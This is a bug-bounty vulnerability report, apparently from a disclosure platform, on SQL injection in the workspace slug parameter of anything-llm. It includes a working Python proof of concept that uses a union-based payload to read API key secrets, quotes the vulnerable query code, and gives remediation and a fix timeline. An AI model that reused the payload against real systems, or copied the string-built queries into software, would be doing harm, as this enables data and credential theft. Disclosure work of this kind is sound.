SQL injection in slug parameter in mintplex-labs/anything-llm

Valid

Reported on

Sep 2nd 2023


Description

The /api/workspace/:slug endpoint exposes a critical SQL injection vulnerability in the slug parameter. This vulnerability arises due to the insecure handling of user-supplied data (slug) in the construction of a SQL query. An attacker can exploit this vulnerability by crafting a malicious slug value that includes SQL injection payloads. When the manipulated slug is incorporated into the SQL query, it can alter the query's behavior. This malicious activity may lead to unauthorized access to the database, unauthorized data retrieval, data manipulation, and potentially full control of the database server.

Proof of Concept

The anything-llm application relies on SQLite as its data storage mechanism for various components including workspaces, user information, and API keys. This vulnerability potentially allows malicious actors to exploit the system in multiple ways. They can enumerate and access workspaces that are otherwise restricted from their permissions. Furthermore, it exposes the risk of unauthorized retrieval of sensitive data such as API key secrets and user information. In the following POC I used union based payload to retrieve SQLite version and the secret value from api_keys table:

POC

import requests

url = "http://localhost:3001/api/workspace/test'Union%20select%201,sqlite_version(),(SELECT%20secret%20FROM%20api_keys),4,5,6,7,8,9,10,11,12,13,14;--" # Union based payload

headers = {
    "Host": "localhost:3001",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/116.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Referer": "http://localhost:3000/",
    "Connection": "close",
    "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJ0ZXN0IiwiaWF0IjoxNjkzNjkxNjc2LCJleHAiOjE2OTYyODM2NzZ9.o4p4br5OUyoMrLP2-BCLldxDGarPZYTDP73b3DGHdfw", # Change this
    "Upgrade-Insecure-Requests": "1",
    "Sec-Fetch-Dest": "document",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-Site": "same-origin",
    "Sec-Fetch-User": "?1",
    "If-None-Match": "W/\"773-MdgLun6ESFXPFk/WGHQAe92jMuI\"",
}

response = requests.get(url, headers=headers)

print(response.text)

Remediation

To enhance the security of the application, it is recommended to replace all traditional SQL queries to adopting parameterized queries, leveraging the sqlite3 library for Node.js. Parameterized queries provide an effective defense against SQL injection attacks by automatically sanitizing and escaping user inputs, rendering it virtually impossible for attackers to inject malicious SQL code into our database operations.

Impact

This vulnerability allowing an attacker to retrieve sensitive data, including user information, workspace details, and secret API keys.

Occurrences

In this is the endpoint the slug parameter is incorporated directly into SQL queries without proper sanitization or parameterization, creating a vulnerability to SQL injection:

      const workspace = multiUserMode(response)
        ? await Workspace.getWithUser(user, `slug = '${slug}'`)
        : await Workspace.get(`slug = '${slug}'`);

Additionally, the vulnerability lies within the database functions themselves, which include:

  1. getWithUser: This function is designed to retrieve workspace data. When invoked, it constructs SQL queries with the slug parameter and the request user.
  2. get : Similar to getWithUser, the get function retrieves workspace data without implementing necessary security precautions. It constructs SQL queries using the clause parameter, which is susceptible to SQL injection when the slug parameter isn't sanitized properly.
  getWithUser: async function (user = null, clause = "") {
    if (user.role === "admin") return this.get(clause);

    const db = await this.db();
    const result = await db
      .get(
        `SELECT * FROM ${this.tablename} as workspace 
      LEFT JOIN workspace_users as ws_users 
      ON ws_users.workspace_id = workspace.id 
      WHERE ws_users.user_id = ${user?.id} AND ${clause}`
      )
      .then((res) => res || null);
    if (!result) return null;
    db.close();

    const workspace = { ...result, id: result.workspace_id };
    const documents = await Document.forWorkspace(workspace.id);
    return { ...workspace, documents };
  },
  get: async function (clause = "") {
    const db = await this.db();
    const result = await db
      .get(`SELECT * FROM ${this.tablename} WHERE ${clause}`)
      .then((res) => res || null);
    if (!result) return null;
    db.close();

    const documents = await Document.forWorkspace(result.id);
    return { ...result, documents };
  },

The same issue occur in /workspace/:slug/chats too

We are processing your report and will contact the mintplex-labs/anything-llm team within 24 hours. 19 days ago
Abdelwahed Madani Yousfi modified the report
19 days ago
Abdelwahed Madani Yousfi modified the report
19 days ago
Abdelwahed Madani Yousfi modified the report
19 days ago
Abdelwahed Madani Yousfi modified the report
19 days ago
Abdelwahed Madani Yousfi modified the report
18 days ago
We have contacted a member of the mintplex-labs/anything-llm team and are waiting to hear back 12 days ago
Abdelwahed Madani Yousfi modified the report
10 days ago
Abdelwahed
10 days ago

Researcher


This issue occured in different parts of the application. So, I updated the report and suggested a fix: we should use parameterized queries instead of regular ones to make the application safer.

mintplex-labs/anything-llm maintainer validated this vulnerability 10 days ago
Abdelwahed Madani Yousfi has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
mintplex-labs/anything-llm maintainer marked this as fixed in 0.0.1 with commit dc3dfb 10 days ago
The fix bounty has been dropped
This vulnerability has been assigned a CVE
mintplex-labs/anything-llm maintainer published this vulnerability 10 days ago
workspaces.js#L190 has been validated
workspaces.js#L208 has been validated
to join this conversation